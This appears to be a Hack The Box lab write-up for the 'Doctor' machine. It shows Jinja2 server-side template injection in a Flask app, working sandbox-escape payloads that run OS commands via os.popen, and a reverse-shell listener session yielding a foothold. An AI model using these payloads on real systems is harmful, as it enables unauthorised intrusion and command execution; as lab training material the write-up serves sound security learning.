SSTI


SSTI is confirmed to be present in the title parameter of the Post feature in the web application

The detection has been completed, I now need to identify the template engine

Identifying Template Engine


This is the decision tree for identifying the template engine. While there are many template engines used by different web technologies, the earlier enumeration narrows down most of that.

As previously identified, the web application is built on Flask 1.0.1 This critical information alone leaves me with 3 well-known template engines; Jinja2, Mako, and Tornado

Jinja2


flask uses jinja2 by default Additionally, the earlier testing SSTI payload,{{7*7}}, suggests that it is likely using Jinja2, but I will still test for {{7*'7'}} for confirmation

The output shows 7777777 This confirms that the target web application uses Jinja2 as template engine.

exploitation


First thing to do is to check whether or not if the debugging is enabled

Attempting to dump the current context via invoking the debugging

I get a code 500. This indicates that debugging is disabled.

Checking the configuration

I am able to see the configuration for the template engine. Debugging set to False can be seen above as well.

The step to RCE through SSTI in Jinja are following:

  1. Escape from the sandbox environment
  2. Recover access to the regular Python expression
  3. RCE

In order to achieve the first step, global objects can be abused

These [global objects](These global objects are always accessible from the sandbox environment) are always accessible from the sandbox environment

From accessing the global objects, a class object needs to be accessed to progress further

Then to the “Object”

Lastly, __subclasses__() can be called from the “Object”

These are some of the examples made using all the 3 steps above

Execution


Following through by calling the __subclasses__() respectively

Now that I called the __subclasses__(), I am able to access hundreds of the regular Python expressions that I can use to read,write and execute

There is another way to perform SSTI in Jinja without accessing the “Object” class It’s by accessing __builtins__

# RCE
{{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read() }}

From there, RCE is dead simple.

{{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("id ; hostname").read() }} Following through

Like so. SSTI led to OS Command Injection

Spawning a reverse shell from the payload

Upon reloading /archive, the page hangs

┌──(kali㉿kali)-[~/archive/htb/labs/doctor]
└─$ nnc 9998
listening on [any] 9998 ...
connect to [10.10.14.9] from (UNKNOWN) [10.10.10.209] 42084
whoami
web
hostname
doctor
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: ens160: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:b9:eb:28 brd ff:ff:ff:ff:ff:ff
    inet 10.10.10.209/24 brd 10.10.10.255 scope global ens160
       valid_lft forever preferred_lft forever
    inet6 dead:beef::250:56ff:feb9:eb28/64 scope global dynamic mngtmpaddr 
       valid_lft 86396sec preferred_lft 14396sec
    inet6 fe80::250:56ff:feb9:eb28/64 scope link 
       valid_lft forever preferred_lft forever

Initial Foothold established to the target system as the web user via SSTI